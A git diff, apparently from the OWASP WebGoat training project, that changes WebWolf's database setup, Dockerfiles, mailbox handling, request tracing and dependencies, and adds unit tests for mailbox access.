@@ missing-function-ac ${project.version} + + org.owasp.webgoat.lesson + password-reset + ${project.version} + @@ -198,6 +208,11 @@ spring-boot-devtools true + + org.postgresql + postgresql + 42.2.2 + diff --git a/webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java b/webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java new file mode 100644 index 000000000..fe42f1c97 --- /dev/null +++ b/webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat; + +import org.hsqldb.server.Server; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.DependsOn; +import org.springframework.context.annotation.Primary; + +import javax.sql.DataSource; + + +/** + * Rationale for this class: when the HSQLDB is started with jdbc:file:// it is only accessible from within the same + * JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database + */ +@Configuration +@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true") +public class HSQLDBDatabaseConfig { + + @Value("${hsqldb.port:9001}") + private int hsqldbPort; + + @Bean(initMethod = "start", destroyMethod = "stop") + public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory, + @Value("${hsqldb.silent:true}") boolean silent, + @Value("${hsqldb.trace:false}") boolean trace) { + + Server server = new Server(); + server.setDatabaseName(0, "webgoat"); + server.setDatabasePath(0, directory + "/data/webgoat"); + server.setDaemon(true); + server.setTrace(trace); + server.setSilent(silent); + server.setPort(hsqldbPort); + return server; + } + + @Primary + @Bean + @DependsOn("hsqlStandalone") + public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass, + @Value("${spring.datasource.url}") String url) { + return DataSourceBuilder.create() + .driverClassName(driverClass) + .url(url) + .build(); + } +} diff --git a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java b/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java index a615d5b74..34bde941a 100644 --- a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java +++ b/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java @@ -37,7 +37,4 @@ public class StartWebGoat { public static void main(String[] args) { SpringApplication.run(WebGoat.class, args); } - - - } diff --git a/webgoat-server/start.sh b/webgoat-server/start.sh deleted file mode 100644 index 491a89ef7..000000000 --- a/webgoat-server/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/sh - -java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar diff --git a/webwolf/Dockerfile b/webwolf/Dockerfile index 162fe5a2c..a591b2ae5 100644 --- a/webwolf/Dockerfile +++ b/webwolf/Dockerfile @@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim ARG webwolf_version=8.0-SNAPSHOT -RUN useradd --home-dir /home/webwolf --create-home -U webwolf - -RUN apt-get update; apt-get install curl -y - -COPY start.sh /home/webwolf/start.sh -RUN chmod +x /home/webwolf/start.sh +RUN \ + apt-get update && apt-get install && \ + useradd --home-dir /home/webwolf --create-home -U webwolf USER webwolf COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar + +ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"] + +EXPOSE 8081 diff --git a/webwolf/pom.xml b/webwolf/pom.xml index 6e2ade92b..e68d7163c 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M15 @@ -78,6 +78,11 @@ hsqldb ${hsqldb.version} + + org.postgresql + postgresql + 42.2.2 + @@ -85,6 +90,10 @@ spring-boot-starter-test test + + org.springframework.security + spring-security-test + diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java index d721bc5d5..c97e0ba4e 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java @@ -1,5 +1,8 @@ package org.owasp.webwolf.mailbox; +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.AllArgsConstructor; +import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; @@ -13,6 +16,8 @@ import java.time.format.DateTimeFormatter; * @since 8/20/17. */ @Data +@Builder +@AllArgsConstructor @Entity @NoArgsConstructor public class Email implements Serializable { @@ -20,7 +25,7 @@ public class Email implements Serializable { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; - private LocalDateTime time; + private LocalDateTime time = LocalDateTime.now(); @Column(length = 1024) private String contents; private String sender; @@ -28,7 +33,7 @@ public class Email implements Serializable { private String recipient; public String getSummary() { - return "-" + this.contents.substring(0, 50); + return "-" + this.contents.substring(0, Math.min(50, contents.length())); } public LocalDateTime getTimestamp() { diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java index 52ec55959..169b5f189 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java @@ -7,6 +7,8 @@ import org.owasp.webwolf.user.WebGoatUser; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; @@ -25,12 +27,11 @@ import java.util.concurrent.Callable; @Slf4j public class MailboxController { - private final UserRepository userRepository; private final MailboxRepository mailboxRepository; @GetMapping(value = "/WebWolf/mail") public ModelAndView mail() { - WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); ModelAndView modelAndView = new ModelAndView(); List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); if (emails != null && !emails.isEmpty()) { @@ -44,13 +45,8 @@ public class MailboxController { @PostMapping(value = "/mail") public Callable> sendEmail(@RequestBody Email email) { return () -> { - if (userRepository.findByUsername(email.getRecipient()) != null) { - mailboxRepository.save(email); - return ResponseEntity.status(HttpStatus.CREATED).build(); - } else { - log.trace("Mail received for unknown user: {}", email.getRecipient()); - return ResponseEntity.notFound().build(); - } + mailboxRepository.save(email); + return ResponseEntity.status(HttpStatus.CREATED).build(); }; } diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java index 43a04b1af..23e95ba02 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java +++ b/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java @@ -20,6 +20,7 @@ import java.util.*; public class WebWolfTraceRepository implements TraceRepository { private final EvictingQueue traces = EvictingQueue.create(10000); + private List exclusionList = Lists.newArrayList("/WebWolf/home", "/WebWolf/mail","/WebWolf/files", "/images/", "/login", "/favicon.ico", "/js/", "/webjars/", "/WebWolf/requests", "/css/", "/mail"); @Override public List findAll() { @@ -33,11 +34,15 @@ public class WebWolfTraceRepository implements TraceRepository { return Lists.newArrayList(traces); } + private boolean isInExclusionList(String path) { + return exclusionList.stream().anyMatch(e -> path.contains(e)); + } + @Override public void add(Map map) { Optional host = getFromHeaders("host", map); String path = (String) map.getOrDefault("path", ""); - if (host.isPresent() && path.contains("/landing")) { + if (host.isPresent() && !isInExclusionList(path)) { traces.add(new Trace(new Date(), map)); } } diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties index b169284c8..421665f81 100644 --- a/webwolf/src/main/resources/application.properties +++ b/webwolf/src/main/resources/application.properties @@ -3,9 +3,11 @@ server.error.path=/error.html server.session.timeout=6000 #server.contextPath=/WebWolf server.port=8081 +server.address=127.0.0.1 server.session.cookie.name = WEBWOLFSESSION -spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf +spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.jpa.hibernate.ddl-auto=update spring.messages.basename=i18n/messages @@ -13,8 +15,6 @@ logging.level.org.springframework=INFO logging.level.org.springframework.boot.devtools=WARN logging.level.org.owasp=DEBUG logging.level.org.owasp.webwolf=TRACE -logging.level.org.apache.activemq=WARN - endpoints.trace.sensitive=false management.trace.include=REQUEST_HEADERS,RESPONSE_HEADERS,COOKIES,ERRORS,TIME_TAKEN,PARAMETERS,QUERY_STRING @@ -29,7 +29,8 @@ multipart.location=${java.io.tmpdir} multipart.max-file-size=1Mb multipart.max-request-size=1Mb -webgoat.server.directory=${user.home}/.webgoat/ +webgoat.build.version=@project.version@ +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver spring.jackson.serialization.indent_output=true diff --git a/webwolf/src/main/resources/templates/login.html b/webwolf/src/main/resources/templates/login.html index 755831691..f651a437f 100644 --- a/webwolf/src/main/resources/templates/login.html +++ b/webwolf/src/main/resources/templates/login.html @@ -45,7 +45,7 @@
-
+
diff --git a/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java b/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java new file mode 100644 index 000000000..3c554a68d --- /dev/null +++ b/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java @@ -0,0 +1,98 @@ +package org.owasp.webwolf.mailbox; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.Lists; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mockito; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; + +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.CoreMatchers.not; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +@RunWith(SpringRunner.class) +@WebMvcTest(MailboxController.class) +public class MailboxControllerTest { + + @Autowired + private MockMvc mvc; + @MockBean + private MailboxRepository mailbox; + @Autowired + private ObjectMapper objectMapper; + + @JsonIgnoreProperties("time") + public static class EmailMixIn { + } + + @Before + public void setup() { + objectMapper.addMixIn(Email.class, EmailMixIn.class); + } + + @Test + @WithMockUser + public void sendingMailShouldStoreIt() throws Exception { + Email email = Email.builder() + .contents("This is a test mail") + .recipient("test1234@webgoat.org") + .sender("hacker@webgoat.org") + .title("Click this mail") + .time(LocalDateTime.now()) + .build(); + this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email))) + .andExpect(status().isOk()); + } + + @Test + @WithMockUser(username = "test1234") + public void userShouldBeAbleToReadOwnEmail() throws Exception { + Email email = Email.builder() + .contents("This is a test mail") + .recipient("test1234@webgoat.org") + .sender("hacker@webgoat.org") + .title("Click this mail") + .time(LocalDateTime.now()) + .build(); + Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email)); + + this.mvc.perform(get("/WebWolf/mail")) + .andExpect(status().isOk()) + .andExpect(view().name("mailbox")) + .andExpect(content().string(containsString("Click this mail"))) + .andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp())))); + } + + @Test + @WithMockUser(username = "test1233") + public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception { + Email email = Email.builder() + .contents("This is a test mail") + .recipient("test1234@webgoat.org") + .sender("hacker@webgoat.org") + .title("Click this mail") + .time(LocalDateTime.now()) + .build(); + Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email)); + + this.mvc.perform(get("/WebWolf/mail")) + .andExpect(status().isOk()) + .andExpect(view().name("mailbox")) + .andExpect(content().string(not(containsString("Click this mail")))); + } + +} \ No newline at end of file diff --git a/webwolf/start.sh b/webwolf/start.sh deleted file mode 100644 index 746266068..000000000 --- a/webwolf/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/sh - -java -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar